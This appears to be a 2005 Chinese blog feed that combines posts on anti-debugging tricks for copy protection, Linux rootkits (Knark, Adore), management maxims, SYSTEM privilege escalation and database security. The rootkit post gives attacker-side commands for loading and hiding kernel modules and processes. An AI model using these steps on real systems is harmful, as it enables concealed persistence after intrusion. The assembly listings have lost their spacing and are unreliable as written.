<P>指令流队列法:CPU为了提高运行速度,专门开辟了一个指令流队列,以存放将要执行的指令,这样就节省了CPU为了取指令而等待的时间。不过通过对它的利用也可以达到迷惑解密者和阻止动态跟踪加密程序的目的。在程序正常执行时,其后续指令是存放在指令流队列中的,而跟踪调试程序时就完全不同了,因为它牵涉到动态修改程序指令代码(包括后续指令)的原因,所以无论后续指令是否被存放在指令流队列中,被修改的指令都将被执行(包括后续指令),这一点和程序正常执行时是相反的,因为正常执行时,CPU只从指令流队列中读取指令,即使后续指令刚刚被正在执行的指令修改过。这是一个构思十分巧妙的反跟踪技术,现列出一个基于此原理的反跟踪程序:<BR>JMPS2 </P>
<P>S1:JMPS1;死循环</P>
<P>S2:LEASI,S1</P>
<P>LEADI,S3</P>
<P>PUSHCS</P>
<P>PUSHCS</P>
<P>POPDS</P>
<P>POPES</P>
<P>CLD</P>
<P>LODSW<BR>STOSW</P>
<P>;设计在S3处存放S1处的指令,如果在正常执行时,由于S3处的其它指令已经被存入指令流队列中,所以它会正常运行,反之则执行S1处的死循环指令S3:其它指令.<BR>9.逆指令流法:指令代码在内存中是从低地址向高地址存放的,CPU执行指令的顺序也是如此,这个过程是由硬件来实现的,而且这个规则已经被人和跟踪调试软件牢牢接收。针对这个方面逆指令流法特意改变顺序执行指令的方式,使CPU按逆向的方式执行指令,这样就使得解密者根本无法阅读已经逆向排列的指令代码,从而阻止解密者对程序的跟踪。因为顺序执行指令是由硬件决定的,所以如果用软件的方式设计CPU按逆向执行指令,就显出相当困难和繁琐了,不过逆指令流法是一个非常有吸引力和使用前景的反跟踪技术,如果能把这种技术成功地运用在磁盘加密技术中,势必会给解密者造成巨大的压力和威慑。近些年来各种报刊对这种反跟踪技术进行过深入的讨论,本文就摘取其中的精华给大家介绍一下逆指令流法的实现方法。单步中断是DOS提供跟踪程序的手段,这个中断普遍被运用于跟踪调试软件,是反跟踪技术的"死敌",但是如果运用恰当,它同样也可以成为"朋友",逆指令流法就是一例:由于顺序执行指令是由硬件来控制的,所以用软件方式改变这种规律的方法只有通过以下两点:①使指令代码在内存中逆向排列,即从高地址向低地址排列;②执行某条指令时,再将该指令按正常顺序排列,以适应硬件的要求。前者是静态的,在设计时就可安排妥当,而后者则较复杂了,一是如何在连续执行指令的同时,把指令代码从逆向捋顺为顺向;二是指令的长度各不相同,如何迅速了解下一条要捋顺的指令代码到底有多长?这就要利用设置单步中断标志和修改单步中断服务程序来完成。</P>
<P>(1)设置单步中断标志使CPU每执行完一条指令后都转去执行INT1中断服务程序,并同时修改INT1的中断服务程序,使它能完成逆向指令的顺向及修改CS:IP的值、使IP指针人为递减的功能。设置单步中断的标志,即是将标志寄存器的第8位T置为1,程序如下:<BR>PUSHF</P>
<P>POPAX</P>
<P>ORAX,0100HPUSHAX</P>
<P>POPF</P>
<P>(2)修改CS:IP的值:设X地址处的指令执行后,由硬件自动完成了IP值的递增修改(顺序执行),将IP的值改为Y(Y＞X),指向了下一条要执行的指令(正常情况下)。那么根据X和Y的值就可判断出X地址处的指令代码的确切长度(Y-X),从而推出逆向时下一条指令的地址Z(Z＜X):Z=X-(Y-X)=2X-Y,知道了逆向时的下一条指令的地址,就可在INT1中断服务程序中将保护的中断现场中的IP从Y改成Z。<BR>(3)指令顺向:首先为了保证系统的速度,再者为了减少修改扩充的INT1中断服务程序的长度,在具体确定顺向指令代码的长度时,以PC机最长的指令代码6字节计算。决定了指令代码的长度,剩下的就是指令代码的顺向:由于CPU只能顺向执行指令,所以必须将Z地址前面的5个字节的内容复制到Z地址后面的单元中,并且为了避免破坏其中的信息,要将Z地址后面的5个单元中的内容暂时保存起来,以便下次予以恢复。逆指令流法实现过程中应注意的问题:①由于指令流队列的存在,使得第一次进入INT1的地址各不相同,这是因为指令流队列的大小随CPU的不同而不同:8088CPU的指令流队列空间为4个字节,80286为6个字节,80386为16个字节,所以指令流队列中的后续指令的条数也各不相同,这样就导致了不同的CPU,首次调用INT1的地址各不相同的现象。它的解决方法是在设置完单步中断标志后,不要立即安排执行指令,而应插入适当的空操作命令NOP(90);②如果逆指令流程序中有软中断指令(以指令代码CDH打头的),必须恢复正常的顺序执行指令状态,否则在软中断服务程序中也将使程序逆向运行。并在软中断指令执行完毕后,再设置成逆指令流运行方式。<BR>混合编程法:破译加密系统的首要工作是读取程序和弄清程序思路,并针对其中的弱点下手。为了阻挠解密者对加密程序的分析,可以尽量将程序设计得紊乱些,以降低程序的可读性。这种方法具体在反跟踪技术中使用的就是混合编程法等,因为高级编译语言的程序可读性本身就较差(如编译过的BASIC、COBOL程序等),如果再将几种高级语言联合起来编写使用,一定会极大的降低程序的可读性。<BR>自编软中断13技术:由于反拷贝技术制作的指纹一般都存在于软盘上,所以现在的磁盘加密系统都存在着一个明显的外部特征:即都要通过调用INT13来判断软盘上指纹的真伪。由于要调用INT13,所以应保证中断表(至少部分中断表,如与INT13有关的INT40和INT1E等等)的正确性,即使先前使用了破坏中断表等反跟踪技术,到这个时候都必须恢复中断表的内容,这就过早地暴露了自己的弱点,加上INT13中断的入口参数是公开的,通过入口参数便可发现加密程序具体读取的是哪些扇区或哪个磁道,甚至可以发现加密系统采取的是何种反拷贝技术,这就给解密者以可乘之机,对加密系统造成巨大的威胁</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/199215.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47998/" target="_blank">传诺基亚正在开发Android手机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>Rootkit 真刀真枪的权限保卫战</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199213.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 24 Jul 2005 11:31:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199213.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/199213.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199213.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/199213.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/199213.html</trackback:ping><description><![CDATA[<P>Rootkit 真刀真枪的权限保卫战<BR>&nbsp; <BR>作者：小珂 </P>
<P>通常，我们在获得了对目标的控制权后，还想保持这种控制权限，于是就出现了木马后门，Rootkit之类的保护权限的手段。首先来说一下我们常见的应用层次的木马后门，比如我们常见的远程控制类的软件，像国外的Sub7，VNC，netbus，国内的冰河，灰鸽子，黑洞等等，这些大家都很熟悉就不详细介绍了。此类后门很容易被发现，现在的杀毒软件大多都能轻松的查杀，即使暂时查不到，用其它手段检测发现也不困难，而这次给大家介绍的是比一般木马后门潜伏的更深木马后门--Rootkit。 </P>
<P>传统的Rootkit是一种比普通木马后门更为阴险的木马后门。它主要通过替换系统文件来达到目的，这样就会更加隐蔽，使检测变得比较困难。传统的Rootkit主要针对Unix平台，例如Linux、AIX、SunOs等操作系统，有些Rootkits可以通过替换DLL文件或更改系统来攻击Windows平台。Rootkit并不能让你直接获得权限，相反它是在你通过各种方法获得权限后才能使用的一种保护权限的措施，在我们获取系统根权限（根权限即root权限，是Unix系统的最高权限）以后，Rootkits提供了一套工具用来建立后门和隐藏行迹，从而让攻击者保住权限。 </P>
<P>传统Rootkit对Unix的攻击 </P>
<P>RootKits是如何实现后门的呢？为了理解Rootkits后门，有必要先了解一下Unix的基本工作流程，当我们访问Unix时（不管是本地还是远程登录），/bin/login程序都会运行，系统将通过/bin/login来收集并核对用户的帐号和密码。Rootkits使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login，这样攻击者输入根权限后门的密码，就能进入系统。就算管理员更改了原来的系统密码或者把密码清空。我们仍能够使用后门密码以根用户身份登录。在攻入Unix系统后，入侵者通常会进行一系列的攻击动作，如安装嗅探器收集重要数据，而Unix中也会有些系统文件会监视这些动作，比如ifconfig等，Rootkit当然不会束手就擒，它会同样替换一下这些系统文件，通常被Rootkit替换的系统程序有login，ifconfig，du，find，ls，netstart，ps等。由于篇幅问题，这些系统文件的功能就不一一罗列，有兴趣的读者可以自己去查找，现在Rootkit的工具很多，里面基本都是包含一些处理过的系统文件来代替原来的系统文件的，像tOmkit等一些Rootkit就是比较优秀的了。 </P>
<P>防御办法：Rootkit如此可怕，得好好防它才行，实际上，最有效的防御方法是定期对重要系统文件的完整性进行核查，这类的工具很多，像Tripwire就是一个非常不错的文件完整性检查工具。一但发现遭受到Rootkit攻击，必须完全重装所有的系统文件、部件和程序，以确保安全性。 </P>
<P>写到这里，战争似乎结束了，然而更可怕的Rootkit还没登场，那就是内核级Rootkit。在大多数操作系统中（各种Unix和Windows)，内核是操作系统最基本的部件，它控制着对网络设备、进程、系统内存、磁盘等的访问。例如当你打开一个文件时，打开文件的请求被发送到内核，内核负责从磁盘得到文件的比特位并运行你的文件浏览程序。内核级Rootkit使攻击者获得对系统底层的完全控制权。攻击者可以修改你的内核，大多数内核级Rootkit都能进行执行重定向，即截获运行某一程序的命令，将其重定向到入侵者所选中的程序并运行此程序。也就是说用户或管理员要运行程序A，被修改过的内核假装执行A，实际却执行了程序B。</P>
<P>内核级Rootkit对Unix的攻击 </P>
<P>和传统的Rootkit不同，内核级Rootkit攻击时Unix的bin/login并未被修改，但所有执行/bin/login的请求（当登录系统时将产生）都被重定向到攻击者制作的隐藏文件/bin/backdoorlogin，这样当系统管理员使用检测传统级别的Rootkit的方法（比如用tripwire之类的软件检测文件的完整性）就行不通了，因为/bin/login并没有被改变。同样的道理，攻击者对其他的系统程序也进行重定，这样你的操作实际就是按照入侵者的意愿执行了。 </P>
<P>内核级Rootkit不仅会进行&#8220;执行重定向&#8221;设置，还有很多支持文件隐蔽。传统的Rootkit是通过替换ls程序来实现文件的隐藏，而内核级的Rootkit则是通过对内核的修改来对ls程序欺骗，更加的阴险隐蔽。另外内核级的Rootkit还能对进程和网络进行隐藏，用户将得不到真实的系统情况报告。 </P>
<P>实现思路：根据系统的类型，攻击者有不同的方法来对内核进行修改，在N种Unix系统上修改内核最简单的方法就是利用系统本身的加载的内核模块(LKM)的功能，因此大多数的内核级Rootkit通过利用LKM动态地将内核更新来提供新功能，新添加的模块扩展了内核，同时对内核和其他使用内核的所有东西有了完全访问权。 </P>
<P>因此，许多内核级Rootkit都通过LKM来实现。安装通过LKM实现的内核级Rootkit十分简单。例如，在Linux上安装Knark内核级Rootkit只需具有根权限的入侵者输入命令：insmod knark.o就行了，模块被安装后就等着我们输入命令了。更妙的是整个过程不需要重启。通过LKM实现的Rootkit在Unix上十分流行。我们也常常会通过给windows平台打LKM补丁的方法攻击windows。</P>
<P>内核级Rootkit实例 </P>
<P>现在有大量的内核级Rootkit可用，就选几种比较强大的来跟大家讨论一下。 </P>
<P>一、linux上的内核级Rootkit：Knark </P>
<P>Knark具有各种标准的内核级Rootkit功能，包括执行重定向，文件隐藏，进程隐藏和网络隐藏。另外，还有不少比较过瘾的功能，如： </P>
<P>1、远程执行：我们可以通过网络向运行Knark的机器发送一条命令，源地址是假造的，命令被发往UDP端口53，使之表面上看起来像是DNS流量。我们就可以利用这个功能来升级Knark，删除系统文件或任何我们想做的事。 </P>
<P>2、任务攻击：当某一进程在系统上运行时，它总是具有与UID和有效的UID(EUID)相关的权限。另外进程还具有与文件系统UID(FSUID)相关的文件及目录访问权。Knark的任务攻击能力可实时地将进程UID，EUID和FSUID改变。进程在不停止运动的情况下突然具有了新的权限。 </P>
<P>3、隐藏混杂模式：同一般的RootKit一样，入侵者也会在受害者机器上运行嗅探器。我们可以用文件隐藏和进程隐藏将嗅探器隐藏起来。然而，以太网卡会被设成混杂模式，管理员可以检查到这一点Knark将内核进行了修改，使之隐瞒网卡的混合模式，这将使嗅探变得更加隐秘。 </P>
<P>4、实时进程隐藏：Knark可以将一个正在运行的进程隐藏起来。通过发送信号31给一个进程，此进程将消失，但仍在运行。命令kill-31 process_id将阻止内核汇报任何有关此进程的信息。进程在运行时，ps和lsof命令的使用都不能显示此进程。 </P>
<P>5、内核模块隐藏：Linux中的lsmod命令可以列出当前在机器上安装的LKM，我们自然不想让管理员看到Knark模块，因此Knark包含了一个单独的模块modhide，modhide将Knark和自己隐藏了起来。这样，当我们用Knark攻击一个系统时，我们首先为Knark.o做一个insmod，然后为modhide.o做一个insmod。这样不管谁运行lsmod命令，这些模块都不会被发现。 </P>
<P>二、另一个Linux上的内核级Rootkit：Adore </P>
<P>同Knark一样，Adore也是一个针对Linux的LKM RootKit，他包含了标准的内核级Rootkit功能，如文件隐藏，进程隐藏，网络隐藏和内核模块隐藏。我们只所以讨论Adore，是因为他还有一个非常强大的功能：内置的根权限后门。 </P>
<P>Adore的根权限后门可以让我们连接到系统上并获得根权限的命令外壳，此功能十分直接了当 ，Adore将此功能巧妙的包含在内核模块中了。这一招十分难破，因为管理员看不到任何文件、进程、侦听网络端口的迹象。 </P>
<P>防御办法：防御内核级的Rootkit的根本办法是不要让攻击者得到你的机器的系统的根本权限（Unix里的root和windows里的admin)，不过这看起来像废话：），目前对内核级的Rootkit还没有绝对的防御体系。 </P>
<P>现在也存在一些Rootkit自动检测工具，但都不是很可靠。同时内核级的Rootkit也在不断的发展中，对一些系统来说防御它最好的办法是使用不支持LKM的内核，Linux的内核就可以设成不支持LKM的单一内核。 <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/199213.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47998/" target="_blank">传诺基亚正在开发Android手机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>人在职场走不得不明白的八项管理定律</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199212.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 24 Jul 2005 11:29:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199212.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/199212.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199212.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/199212.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/199212.html</trackback:ping><description><![CDATA[<P>人在职场走不得不明白的八项管理定律</P>
<P>帕金森定律</P>
<P>　　美国著名历史学家诺斯古德-帕金森通过长期调查研究，写了一本名叫《帕金森定律》的书，他在书中阐述了机构人员膨胀的原因及后果：一个不称职的官员，可能有三条出路。第一是申请退职，把位子让给能干的人；第二是让一位能干的人来协助自己工作；第三是任用两个水平比自己更低的人当助手。<BR>　　这第一条路是万万走不得的，因为那样会丧失许多权力；第二条路也不能走，因为那个能干的人会成为自己的对手；看来只有第三条路最适宜。于是，两个平庸的助手分担了他的工作，他自己则高高在上发号施令。两个助手既无能，也就上行下效，再为自己找两个无能的助手。如此类推，就形成了一个机构臃肿、人浮于事、相互扯皮、效率低下的领导体系。</P>
<P>苛希纳定律</P>
<P>　　西方管理学中有一条著名的苛希纳定律：如果实际管理人员比最佳人数多两倍，工作时间就要多两倍，工作成本就要多四倍；如果实际管理人员比最佳人数多三倍，工作时间就要多三倍，工作成本就要多六倍。<BR>　　苛希纳定律告诉我们，在管理上并不是人多力量大，管理人员越多，工作效率未必就会越高。苛希纳定律要求我们，要认真研究并找到一个最佳人数，以最大限度地减少工作时间，降低工作成本。</P>
<P>马蝇效应</P>
<P>　　林肯少年时和他的兄弟在肯塔基老家的一个农场里犁玉米地，林肯吆马，他兄弟扶犁，而那匹马很懒，慢慢腾腾，走走停停。可是有一段时间马走得飞快。林肯感到奇怪，到了地头，他发现有一只很大的马蝇叮在马身上，他就把马蝇打落了。看到马蝇被打落了，他兄弟就抱怨说：&#8220;哎呀，你为什么要打掉它，正是那家伙使马跑起来的嘛！&#8221;<BR>　　没有马蝇叮咬，马慢慢腾腾，走走停停；有马蝇叮咬，马不敢怠慢，跑得飞快。这就是马蝇效应。马蝇效应给我们的启示是：一个人只有被叮着咬着，他才不敢松懈，才会努力拼搏，不断进步。</P>
<P>&#8220;南风&#8221;法则</P>
<P>　　&#8220;南风&#8221;法则也称&#8220;温暖&#8221;法则，源于法国作家拉封丹写过的一则寓言：北风和南风比威力，看谁能把行人身上的大衣脱掉。北风首先来一个冷风凛冽寒冷刺骨，结果行人为了抵御北风的侵袭，便把大衣裹得紧紧的。南风则徐徐吹动，顿时风和日丽，行人因为觉得春暖上身，始而解开纽扣，继而脱掉大衣，南风获得了胜利。<BR>　　这则寓言形象地说明了一个道理：温暖胜于严寒。领导者在管理中运用&#8220;南风&#8221;法则，就是要尊重和关心下属，以下属为本，多点&#8220;人情味&#8221;，尽力解决下属日常生活中的实际困难，使下属真正感受到领导者给予的温暖，从而激发出工作的积极性。</P>
<P>酒与污水定律</P>
<P>　　酒与污水定律是指，如果把一匙酒倒进一桶污水中，你得到的是一桶污水；如果把一匙污水倒进一桶酒中，你得到的还是一桶污水。<BR>　　在任何组织里，都存在几个难弄的人物，他们存在的目的似乎就是为了把事情搞糟。最糟糕的是，他们像果箱里的烂苹果一样，如果你不及时处理，它会迅速传染，把果箱里其他的苹果也弄烂。&#8220;烂苹果&#8221;的可怕之处在于它那惊人的破坏力。一个正直能干的人进入一个混乱的部门可能被吞没，而一个无德无才者能很快将一个高效的部门变成一盘散沙。一个能工巧匠花费时日精心制作的陶瓷品，一头驴子一秒钟就能将它毁坏掉。</P>
<P>零和游戏原理</P>
<P>　　零和游戏是指，一项游戏中，游戏者有输有赢，一方所赢正是另一方所输，游戏的总成绩永远为零。<BR>　　零和游戏原理之所以广受关注，主要是因为人们发现在社会的方方面面都能发现与&#8220;零和游戏&#8221;类似的局面，胜利者的光荣后往往隐藏着失败者的辛酸和苦涩；但20世纪人类在经历了两次世界大战、经济的高速增长、科技进步、全球一体化以及日益严重的环境污染之后，&#8220;零和游戏&#8221;观念正逐渐被&#8220;双赢&#8221;观念所取代。人们开始认识到&#8220;利己&#8221;不一定要建立在&#8220;损人&#8221;的基础上。通过有效合作，皆大欢喜的结局是可能出现的。</P>
<P>手表定理</P>
<P>　　手表定理，是指一个人有一只手表时，可以知道现在是几点钟，而当他同时拥有两只表时，却无法确定时间。两只手表并不能告诉一个人更准确的时间，反而会让看表的人失去对准确时间的信心。<BR>　　手表定理在企业经营管理方面给我们一种非常直观的启发，就是对同一个人或同一个组织的管理，不能同时采用两种不同的方法，不能同时设置两个不同的目标，甚至每一个人不能由两个人来同时指挥，否则将使这个企业或这个人无所适从。</P>
<P>不值得定律</P>
<P>　　不值得定律最直观的表述是，不值得做的事情，就不值得做好。这个定律似乎再简单不过了，但它的重要性却时时被人们疏忘。<BR>　　不值得定律反映出人们的一种心理，一个人如果从事的是一件自认为不值得做的事，往往会保持敷衍了事的态度，不仅成功率小，而且即使成功，也不会有多大的成就感。因此，企业的领导者要合理地分配工作，如让成就欲较强的职工单独或牵头完成具有一定风险和难度的工作，并在完成时给予肯定和赞扬；让依附欲较强的职工更多地参与到某个团体中共同工作；让权力欲较强的职工担任一个与之能力相适应的主管工作。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/199212.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47998/" target="_blank">传诺基亚正在开发Android手机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>从管理员身份获得 SYSTEM 权限的四种方法</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199211.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 24 Jul 2005 11:29:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199211.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/199211.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199211.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/199211.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/199211.html</trackback:ping><description><![CDATA[摘要: 从管理员身份获得 SYSTEM 权限的四种方法作者: 一块三毛钱本文总结了 4 种方法获得 SYSTEM 权限来运行 regedit.exe 文件，源代码很容易修改成命令行方式运行指定的程序。1. 以服务方式运行2. 添加 ACL 的方法3. HOOK ZwCreateProcessEx 函数4. 远程线程的方法这几种方法都不是我想出来的，我只不过是总结了一下，用 Win32ASM 重写了代码而以&nbsp;&nbsp;<a href='http://www.cnblogs.com/F4ncy/archive/2005/07/24/199211.html'>阅读全文</a><img src ="http://www.cnblogs.com/F4ncy/aggbug/199211.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47998/" target="_blank">传诺基亚正在开发Android手机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>数据库系统防黑客入侵技术综述</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199210.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 24 Jul 2005 11:24:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199210.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/199210.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199210.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/199210.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/199210.html</trackback:ping><description><![CDATA[<P>数据库系统防黑客入侵技术综述&nbsp; </P>
<P>作者：破釜沉舟 </P>
<P>　　1. 前言 </P>
<P>　　随着计算机技术的飞速发展，数据库的应用十分广泛，深入到各个领域，但随之而来产生了数据的安全问题。各种应用系统的数据库中大量数据的安全问题、敏感数据的防窃取和防篡改问题，越来越引起人们的高度重视。数据库系统作为信息的聚集体，是计算机信息系统的核心部件，其安全性至关重要，关系到企业兴衰、国家安全。因此，如何有效地保证数据库系统的安全，实现数据的保密性、完整性和有效性，已经成为业界人士探索研究的重要课题之一，本文就安全防入侵技术做简要的讨论。 </P>
<P>　　数据库系统的安全除依赖自身内部的安全机制外，还与外部网络环境、应用环境、从业人员素质等因素息息相关，因此，从广义上讲，数据库系统的安全框架可以划分为三个层次： </P>
<P>　　⑴ 网络系统层次； </P>
<P>　　⑵ 宿主操作系统层次； </P>
<P>　　⑶ 数据库管理系统层次。 </P>
<P>　　这三个层次构筑成数据库系统的安全体系，与数据安全的关系是逐步紧密的，防范的重要性也逐层加强，从外到内、由表及里保证数据的安全。下面就安全框架的三个层次展开论述。 </P>
<P>　　2. 网络系统层次安全技术 </P>
<P>　　从广义上讲，数据库的安全首先依赖于网络系统。随着Internet的发展和普及，越来越多的公司将其核心业务向互联网转移，各种基于网络的数据库应用系统如雨后春笋般涌现出来，面向网络用户提供各种信息服务。可以说网络系统是数据库应用的外部环境和基础，数据库系统要发挥其强大作用离不开网络系统的支持，数据库系统的用户（如异地用户、分布式用户）也要通过网络才能访问数据库的数据。网络系统的安全是数据库安全的第一道屏障，外部入侵首先就是从入侵网络系统开始的。网络入侵试图破坏信息系统的完整性、机密性或可信任的任何网络活动的集合，具有以下特点： </P>
<P>　　a) 没有地域和时间的限制，跨越国界的攻击就如同在现场一样方便； </P>
<P>　　b) 通过网络的攻击往往混杂在大量正常的网络活动之中，隐蔽性强； </P>
<P>　　c) 入侵手段更加隐蔽和复杂。 </P>
<P>　　计算机网络系统开放式环境面临的威胁主要有以下几种类型： </P>
<P>　　a) 欺骗(Masquerade)； </P>
<P>　　b) 重发(Replay)； </P>
<P>　　c) 报文修改(Modification of message)； </P>
<P>　　d) 拒绝服务(Deny of service)； </P>
<P>　　e) 陷阱门(Trapdoor)； </P>
<P>　　f) 特洛伊木马(Trojan horse)； </P>
<P>　　g) 攻击，如透纳攻击（Tunneling Attack）、应用软件攻击等。这些安全威胁是无时、无处不在的，因此必须采取有效的措施来保障系统的安全。 </P>
<P>　　从技术角度讲，网络系统层次的安全防范技术有很多种，大致可以分为防火墙、入侵检测、协作式入侵检测技术等。 </P>
<P>　　⑴ 防火墙。防火墙是应用最广的一种防范技术。作为系统的第一道防线，其主要作用是监控可信任网络和不可信任网络之间的访问通道，可在内部与外部网络之间形成一道防护屏障，拦截来自外部的非法访问并阻止内部信息的外泄，但它无法阻拦来自网络内部的非法操作。它根据事先设定的规则来确定是否拦截信息流的进出，但无法动态识别或自适应地调整规则，因而其智能化程度很有限。防火墙技术主要有三种：数据包过滤器(packet filter)、代理(proxy)和状态分析(stateful inspection)。现代防火墙产品通常混合使用这几种技术。 </P>
<P>　　⑵ 入侵检测。入侵检测(IDS—Instrusion Detection System)是近年来发展起来的一种防范技术，综合采用了统计技术、规则方法、网络通信技术、人工智能、密码学、推理等技术和方法，其作用是监控网络和计算机系统是否出现被入侵或滥用的征兆。1987年，Derothy Denning首次提出了一种检测入侵的思想，经过不断发展和完善，作为监控和识别攻击的标准解决方案，IDS系统已经成为安全防御系统的重要组成部分。 </P>
<P>　　入侵检测采用的分析技术可分为三大类：签名、统计和数据完整性分析法。 </P>
<P>　　① 签名分析法。主要用来监测对系统的已知弱点进行攻击的行为。人们从攻击模式中归纳出它的签名，编写到IDS系统的代码里。签名分析实际上是一种模板匹配操作。 </P>
<P>　　② 统计分析法。以统计学为理论基础，以系统正常使用情况下观察到的动作模式为依据来判别某个动作是否偏离了正常轨道。 </P>
<P>　　③ 数据完整性分析法。以密码学为理论基础，可以查证文件或者对象是否被别人修改过。 </P>
<P>　　IDS的种类包括基于网络和基于主机的入侵监测系统、基于特征的和基于非正常的入侵监测系统、实时和非实时的入侵监测系统等。 </P>
<P>　　⑶ 协作式入侵监测技术 </P>
<P>　　独立的入侵监测系统不能够对广泛发生的各种入侵活动都做出有效的监测和反应，为了弥补独立运作的不足，人们提出了协作式入侵监测系统的想法。在协作式入侵监测系统中，IDS基于一种统一的规范，入侵监测组件之间自动地交换信息，并且通过信息的交换得到了对入侵的有效监测，可以应用于不同的网络环境。 </P>
<P>　　3. 宿主操作系统层次安全技术 </P>
<P>　　操作系统是大型数据库系统的运行平台，为数据库系统提供一定程度的安全保护。目前操作系统平台大多数集中在Windows NT和Unix，安全级别通常为C1、C2级。主要安全技术有操作系统安全策略、安全管理策略、数据安全等方面。 </P>
<P>　　操作系统安全策略用于配置本地计算机的安全设置，包括密码策略、账户锁定策略、审核策略、IP安全策略、用户权利指派、加密数据的恢复代理以及其它安全选项。具体可以体现在用户账户、口令、访问权限、审计等方面。 </P>
<P>　　用户账户：用户访问系统的&#8220;身份证&#8221;，只有合法用户才有账户。 </P>
<P>　　口令：用户的口令为用户访问系统提供一道验证。 </P>
<P>　　访问权限：规定用户的权限。 </P>
<P>　　审计：对用户的行为进行跟踪和记录，便于系统管理员分析系统的访问情况以及事后的追查使用。 </P>
<P>　　安全管理策略是指网络管理员对系统实施安全管理所采取的方法及策略。针对不同的操作系统、网络环境需要采取的安全管理策略一般也不尽相同，其核心是保证服务器的安全和分配好各类用户的权限。 </P>
<P>　　数据安全主要体现在以下几个方面：数据加密技术、数据备份、数据存储的安全性、数据传输的安全性等。可以采用的技术很多，主要有Kerberos认证、IPSec、SSL、TLS、VPN（PPTP、L2TP）等技术。 </P>
<P>　　4. 数据库管理系统层次安全技术 </P>
